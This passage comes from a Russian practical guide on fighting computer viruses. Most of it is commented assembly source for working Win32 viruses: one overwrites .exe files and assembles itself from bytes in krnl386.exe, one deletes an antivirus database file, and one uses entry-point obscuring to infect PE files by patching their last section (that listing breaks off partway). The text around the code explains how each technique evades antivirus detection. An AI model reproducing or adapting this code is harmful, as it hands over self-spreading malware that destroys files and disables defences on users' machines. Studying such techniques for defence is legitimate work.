Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

281

 

 

5.7. Вампиризм

Реализация вампиризма в Windows-вирусах не намного сложнее, чем реализация вампиризма в ДОС-вирусах. Вся видимая сложность заключается в том, что при работе программы по умолчанию нельзя писать в кодовую секцию, но существует несколько вариантов решения: включить возможность записи в кодовую секцию; разместить код в секции данных.

Мы пойдем по второму пути. Как вы уже знаете, смысл техники вампиризма заключается в том, что вирус при работе собирает себя в памяти из различ- ных файлов, подчитывая нужные ему части.

Рассмотрим листинг:

;----------------------------------------------

.386

.model flat

;Далее идут импортируемые функции

extrn

ExitProcess:PROC

extrn

FindFirstFileA:PROC

extrn

CopyFileA:PROC

extrn

GetCommandLineA:PROC

extrn

FindNextFileA:Proc

extrn

lstrcpyA:PROC

extrn

FindClose:PROC

extrn

CreateFileA:PROC

extrn

ReadFile:PROC

extrn

CloseHandle:PROC

extrn

_llseek:PROC

.data

;

;----------------------------------------------

 

start:

; С этого места начинается программа

;Функция GetCommandLine()

;Возвращает в eax смещение на командную строку

Call

GetCommandLineA

; Данной функции параметры не передаются

push

eax

; Кладем в стэк смещение на командную строку

push

offset host_name

; Копируем ее в переменную host_name

 

 

;

call

lstrcpyA

; Вызываем функцию копирования строки

;----------------------------------------------

 

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET find_file

; Кладем в стэк смещение на find_file

push

OFFSET EXE_file

; Кладем в стэк смещение на маску поиска

call

FindFirstFileA

; Вызываем функцию FindFirstFileA

cmp

EAX, -1

; Если нет ни одного нужного нам файла

je

End_it

; То идем на выход

 

 

; Иначе

282

 

Windows вирусы

 

 

 

mov

[Fhandle],eax

; В переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

infect:

 

 

call

vamp

;

 

 

; Функции CopyFileA говорим о том, что будем

push

0

; При копировании файл перезаписывать

push

offset find_file + Find_data_name ; Куда копируем

push

offset host_name

; Откуда копируем

buff:

 

 

nop

 

 

nop

 

 

db 0efh,0ffh,0ffh

 

 

 

; Вызов функции копирования

Call

Fnext

; Вызываем процедуру поиска следующего файла

cmp

eax,0

; Если eax равен 0, то файлов больше нет

jne

infect

; И мы идем на выход

End_it:

 

 

push

offset [Fhandle]

; Кладем в стэк хэндл поиска

call

FindClose

; И вызываем функцию закрытия поиска

push

0

; Кладем в стэк 0

call

ExitProcess

; И вызываем функцию завершения программы

;————————————————————————————-

 

Fnext:

 

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет и 1 в противном случае

push

offset find_file

; Кладем в стэк смещение на find_file

push

[Fhandle]

; Кладем в стэк хэндл

call

FindNextFileA

; Вызываем функцию поиска следующего файла

ret

 

; Возврат из процедуры

;——————————————————————————

 

vamp:

 

;

push

0

;

push

00000080h

;

push

3

;

push

0

; Открываем файл, из которого мы

push

00000001h

; будем подчитывать необходимые

push

80000000h

; нам байты

push

offset korm

;

call

CreateFileA

;

cmp

eax,-1

; Если ошибка, то идем на выход

je

End_it

;

mov

dword ptr [fHnd],eax ; Сохраняем дескриптор файл

Windows вирусы

 

283

 

 

 

 

 

 

push

0

 

;

 

push

68dbh

; Перейдем к позиции, где

 

push

dword ptr [fHnd]

; находятся нужные нам байты

 

call

_llseek

;

 

push

 

0

;

 

lea

 

edx,size2Read

; Прочитаем их в код нашего вируса,

 

push

 

edx

; который находится целиком в секции данных

 

push

 

2

; И прочитаем таким образом, чтобы он

 

push

 

offset buff

; стал функциональным

 

push

 

dword ptr [fHnd]

;

 

call

 

ReadFile

;

 

push

dword ptr [fHnd]

; Закроем файл из которого подчитывали нужные

 

call

 

CloseHandle

; нам байты

 

ret

 

 

; Возврат из подпрограммы

 

korm db ‘c:\windows\system32\krnl386.exe’,0

EXE_file

DB

 

‘*.exe’,0

; Маска поиска файлов

find_file

db

 

313 dup(?)

; Переменная типа WIN32_FIND_DATA

host_name

db

 

100 dup(?)

; Переменная для имени файла

Find_data_name

equ

2ch

; Смещение на имя файла в WIN32_FIND_DATA

Fhandle

dd

 

?

; Хэндл поиска

fHnd

dd

?

 

 

size2read

dd

?

 

 

msg1

db

 

‘[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]’ ; Имя вируса

;——————————————————————————————-

.code

nop ;——————————————————————————————-

end start ;——————————————————————————————-

Единственным крупным недостатком данной техники является ее зависимость от файлов жертв и операционных систем, под которыми данный вирус будет функционировать. В общем же данная техника является очень прогрессивной.

Также возможно использование возможностей авто вампиризма. Реализация не является более сложной, но авто вампиризм помогает избавиться от зависимости от файла кормильца и влияния на вирус операционной системы.

Применение данной техники слегка затрудняет идентифицирование вируса. Лечение не меняется.

5.8. Ретро

Как уже раньше говорилось, ретротехника одна из наиболее агресивных вирусных технологий. Она пытается удалять файлы, принадлежащие различным антивирусным программам. Например, антивирусные базы или саму программу антивируса и т.д. и т.п. Мы рассмотрим простой пример реализации данной техники. Наш вирус помимо того, что он будет размножаться, будет пытаться удалить файл «kernel.avc» в текущей директории.

284

Windows вирусы

 

 

Перейдем к листингу:

;—————————————————————————————————————————————-

.386

.model flat

;Далее идут импортируемые функции

extrn

DeleteFileA:PROC

 

extrn

ExitProcess:PROC

 

extrn

FindFirstFileA:PROC

 

extrn

CopyFileA:PROC

 

extrn

GetCommandLineA:PROC

 

extrn

FindNextFileA:Proc

 

extrn

lstrcpyA:PROC

 

extrn

FindClose:PROC

 

.data

 

 

; Область данных

EXE_file

DB

‘*.exe’,0

; Маска поиска файлов

find_file

db

313 dup(?)

; Переменная типа WIN32_FIND_DATA

host_name

db

100 dup(?)

; Переменная для имени файла

Find_data_name

equ

2ch

; Смещение на имя файла в WIN32_FIND_DATA

Fhandle

dd

?

; Хэндл поиска

msg1

db

‘[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]’ ; Имя вируса

gertva

db

‘kernel.avc’,0

; Файл который будем удалять

.code

 

 

;

;----------------------------------------------

start:

 

 

; С этого места начинается программа

;Функция GetCommandLine()

;Возвращает в eax смещение на командную строку

Call

GetCommandLineA

; Данной функции параметры не передаются

push

eax

; Кладем в стэк смещение на командную строку

push

offset host_name

; Копируем ее в переменную host_name

 

 

;

call

lstrcpyA

; Вызываем функцию копирования строки

call

retro

; Вызов ретротехники

;----------------------------------------------

 

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET find_file

; Кладем в стэк смещение на find_file

push

OFFSET EXE_file

; Кладем в стэк смещение на маску поиска

call

FindFirstFileA

; Вызываем функцию FindFirstFileA

cmp

EAX, -1

; Если нет ни одного нужного нам файла

je

End_it

; То идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; В переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

 

 

Windows вирусы

285

 

 

 

infect:

 

 

 

 

; Функции CopyFileA говорим о том, что будем

push

0

; При копировании файл перезаписывать

push

offset find_file + Find_data_name ; Куда копируем

push

offset host_name

; Откуда копируем

call

CopyFileA

; Вызов функции копирования

Call

Fnext

; Вызываем процедуру поиска следующего файла

cmp

eax,0

; Если eax равен 0, то файлов больше нет

jne

infect

; И мы идем на выход

End_it:

 

 

push

[Fhandle]

; Кладем в стэк хэндл поиска

call

FindClose

; И вызываем функцию закрытия поиска

push

0

; Кладем в стэк 0

call

ExitProcess

; И вызываем функцию завершения программы

;----------------------------------------------

Fnext:

 

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет и 1 в обратном случае

push

offset find_file

; Кладем в стэк смещение на find_file

push

[Fhandle]

; Кладем в стэк хэндл

call

FindNextFileA

; Вызываем функцию поиска следующего файла

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

retro:

 

; Процедура удаления файла

push

offset gertva

; Непосредственно само удаление

call

DeleteFileA

; файла "kernel.avc"

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

end

start

 

;----------------------------------------------

 

 

Данная техника открывает большие возможности перед вирусописателем, но существует одна маленькая проблема — антивирусов становится все больше и больше... И вирмейкеру прийдется включать в свой вирус поддержку различ- ных антивирусов.

Поэтому и используют эту технику все реже и реже.

5.9 Неизлечимость

Реализация данной техники под операционные системы Windows довольно трудоемка. Это связано с тем, что большинство Windows-вирусов используют алгоритм поиска kernel32.dll, основанный на работе со стэком. Как вы уже могли догадаться, если вирус получит управление где нибудь в середине программы, стэк окажется «испорченным» и наш вирус не найдет адреса ядра.

286

Windows вирусы

 

 

Начнем мы прежде всего с определения EPO — Entry Point Obscuring. В переводе это означает — скрытие точки входа. В основном данное понятие применяется к компьютерным вирусам, которые не меняют в заголовке исполняемого файла точку входа. Точка входа — это адрес, с которого начинается выполнение программы при ее запуске. Впервые данная техника была применена еще в ДОС-вирусах. В аспекте Windows-систем данная техника была применена впервые в вирусе Cabanas. В чем же заключалась данная техника? Давайте рассмотрим на схеме:

До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус изменял в заголовке точку входа, редактировал виртуальный размер и дописывал свое тело в конец файла (создавал новую секцию). Потому как все вирусы меняли точку входа, то антивирусные программы просто проверяли, куда указывает точка входа и потом уже детектировали вирус.

В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса, а потом перезаписываются jmp’ом в начало вируса. Таким образом не нужно менять точку входа, потому что вирус получит управление после первой инструкции перехода.

После этого пошла волна вариаций на ту же тему. Инструкции передающие управление вирусу усложнялись и видоизменялись. Иногда туда встраивали даже декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на него управление. Но антивирусные программы тоже стали проверять, куда передают управление первые инструкции кодовой секции. Также постоянно обновляются маски инструкций, передающих управление на вирусное тело.

Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования

Windows вирусы

287

 

 

б) после инфицирования

Данный метод применялся нами для написания полу-стэлс вируса и довольно хорошо себя зарекомендовал.

Рассмотрим листинг:

;----------------------------------------------

.386

.model flat

; Функция необходимая для запуска вируса после компоновки

extrn

ExitProcess:PROC

 

 

.data

 

; Вирус расположен в области

 

 

; данных

 

start:

 

 

 

;----------------------------------------------

 

 

 

call

delta

;

 

delta:

 

; Получаем дельта смещение

pop

ebp

;

 

sub

ebp,offset delta

;

 

cmp

[ebp+s_bytes],0

; Узнаем, восстанавливать ли нам

je

dalshe

; оригинальные байты

pop

eax

; Да, нужно восстанавливать

call

restore

;

 

dalshe:

 

 

 

mov

ebx,[esp]

; Возьмем из стека адрес

xor

bx,bx

; Kernel’a И найдем его начало

push

eax

; Положим eax в стэк

pushad

; Сохраняем все регистры

call

getproc

 

 

lea

eax,dword ptr[ebp+find_file] ;

 

push

eax

; Заполняем параметры

lea

eax,dword ptr[ebp+mask1]

; и вызываем функцию

push

eax

 

; FindFirstFileA

lea

eax,dword ptr[ebp+FindFirstFileA]

;

call

GETAPI

;

 

cmp

EAX, -1

; Если файлов нет

288

 

Windows вирусы

 

 

 

je

End_it

; тогда выходим

mov

[ebp+Fhandle],eax

; Сохраняем хэндл поиска

inf1:

 

 

mov

ecx,dword ptr [ebp + find_file + 20h]; ecx = filesize

mov

[ebp + offset filesize], ecx

; Сохраняем размер файла

add

ecx, finish - start + 1000h

; filesize + virus

mov

[ebp + offset memory], ecx

; +workspace=memory

call

infect

 

f_next:

 

 

call

Fnext

 

cmp

eax,0

; 0 Файлы закончились

jne

inf1

 

push

dword ptr [ebp+Fhandle]

;

lea

eax,dword ptr[ebp+FindClose]

; Закрытие поиска

call

GETAPI

;

;----------------------------------------------

 

End_it:

 

 

popad

 

; Восстанавливаем все регистры

ret

 

; Отдаем управление носителю

;----------------------------------------------

 

infect:

 

 

lea

esi,[ebp + find_file + 2ch]

; esi = имени файла

OpenFile:

 

 

push

0

 

push

00000080h

 

push

3

 

push

0

 

push

00000001h OR 00000002h

 

push

40000000h OR 80000000h

 

push

esi

 

lea

eax,[ebp+CreateFileA]

; Открытие файла

call

GETAPI

; для чтения/записи

mov

[ebp + offset fHnd],eax

; Сохранение хэндла файла

cmp

eax,-1

 

je

InfectionError

 

;----------------------------------------------

 

CreateFileMapping:

 

 

 

; выделяем память

push

0

; имя файла хэндл = 0

push

dword ptr [ebp+ offset memory]; максимальный размер = memory

push

0

; минимальный размер = 0

push

4

; доступ чтение/запись

push

0

;

push

dword ptr [ebp + offset fHnd]

 

lea

eax,[ebp + offset CreateFileMappingA]

call

GETAPI

; eax = хэндл

mov

[ebp + offset mHnd],eax

 

Windows вирусы

 

 

289

 

 

 

 

 

or

eax,eax

 

 

 

jz

CloseFile

 

 

 

MapViewOfFile1:

 

 

 

 

push

dword ptr [ebp + offset memory]

; количество памяти для работы

push

0

;

 

 

push

0

;

 

 

push

2

;

Режим записи

push

eax

;

хэндл

 

lea

eax,[ebp + offset MapViewOfFile]

; Вызываем функцию

call

GETAPI

 

 

 

or

eax,eax

 

 

 

jz

CloseMap

 

 

 

mov

esi,eax

;

 

 

mov

[ebp + offset mapaddress],esi ;

Сохраняем базу памяти

DoSomeChecks:

 

 

 

 

cmp

word ptr [esi],’ZM’

; Ýòî EXE ôàéë?

jne

UnmapView

 

 

 

cmp

word ptr [esi + 38h],’nf’

;

Уже зараженный файл?

je

UnmapView

 

 

 

OkGo:

 

 

 

 

mov

ebx,dword ptr [esi + 3ch]

 

 

 

cmp

ebx,200h

 

 

 

ja

UnmapView

 

 

 

add

ebx,esi

 

 

 

cmp

word ptr [ebx],’EP’

; Ýòî PE ôàéë ?

jne

UnmapView

 

 

 

mov

[ebp + offset PEheader],ebx

; сохраняем PE заголовок

mov

esi,ebx

 

 

 

mov

eax,[esi + 28h]

 

 

 

mov

[ebp + offset oldip],eax

;

Сохраняем старую точку

 

 

;

входа (ip)

mov

eax,[esi + 34h]

 

 

 

mov

[ebp + offset imagebase],eax

;

Сохраняем

 

 

; виртуальный адрес

 

 

;

начала программы

;----------------------------------------------

 

 

 

LocateBeginOfLastSection:

 

 

 

mov

ebx,[esi + 74h]

;

 

 

shl

ebx,3

;

 

 

xor

eax,eax

 

 

 

mov

ax,word ptr [esi + 6h]

;

Количество объектов

dec

eax

;

(нам нужен последний-1

mov

ecx,28h

;

заголовок секции)

mul

ecx

;

* размер заголовка

add

esi,78h

;

теперь esi указывает на

add

esi,ebx

;

начало последнего заголовка

add

esi,eax

;

секции

 

290

 

 

Windows вирусы

 

 

 

ChangeLastSectionHeader:

 

 

or

dword ptr [esi + 24h],00000020h or 20000000h or 80000000h

NewPhysicalSize:

 

 

 

mov

eax,dword ptr [esi+10h]

; Старый физический размер

add

eax,finish-start

 

 

mov

dword ptr [esi+10h],eax

;

Сохраняем его

VirtualSizeCheck:

 

 

 

mov

edi,dword ptr [esi + 8h]

;

Получаем старый

cmp

eax, edi

; виртуальный размер

jge

NewVirtualSize

 

 

VirtualSizeIsVirtual:

 

 

add

edi,finish-start

 

 

mov

eax,edi

 

 

NewVirtualSize:

 

 

 

mov

ecx,[ebp + offset PEheader]

 

 

mov

ecx,[ecx + 38h]

 

 

div

ecx

; и выравниваем

inc

eax

 

 

mul

ecx

 

 

mov

[esi + 8h],eax

; Сохраняем новое значение

NewAlignedImageSize:

 

 

mov

eax,dword ptr [esi + 0ch]

; получаем виртуальное

 

 

; смещение

add

eax,dword ptr [esi + 8h]

; + новый виртуальный размер

mov

[ebp+ imagesize],eax

; = новый виртуальный размер

NewAlignedFileSize:

 

 

mov

eax,dword ptr [esi+10h]

; получаем новый

 

 

; физический размер

add

eax,dword ptr [esi + 14h]

; добавляем смещение

 

 

; физического

mov

[ebp + offset filesize],eax

; размера = размер файла

CalculateNewIp:

 

 

 

mov

eax,dword ptr [esi+10h]

; новый физический размер

add

eax,dword ptr [esi + 0ch]

; + виртуальное смещение

sub

eax,finish-start

; - размер вируса

mov

[ebp + newip],eax

; новая точка входа

CopyVirusToEndOfFile:

 

 

nop

 

 

 

nop

 

 

 

call

epo

 

 

mov

edi,dword ptr [esi+10h]

; Новый физический размер

sub

edi,finish-start

 

 

add

edi,[ebp + offset mapaddress] ; mapaddress

add

edi,[esi + 14h]

; добавляем смещение

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]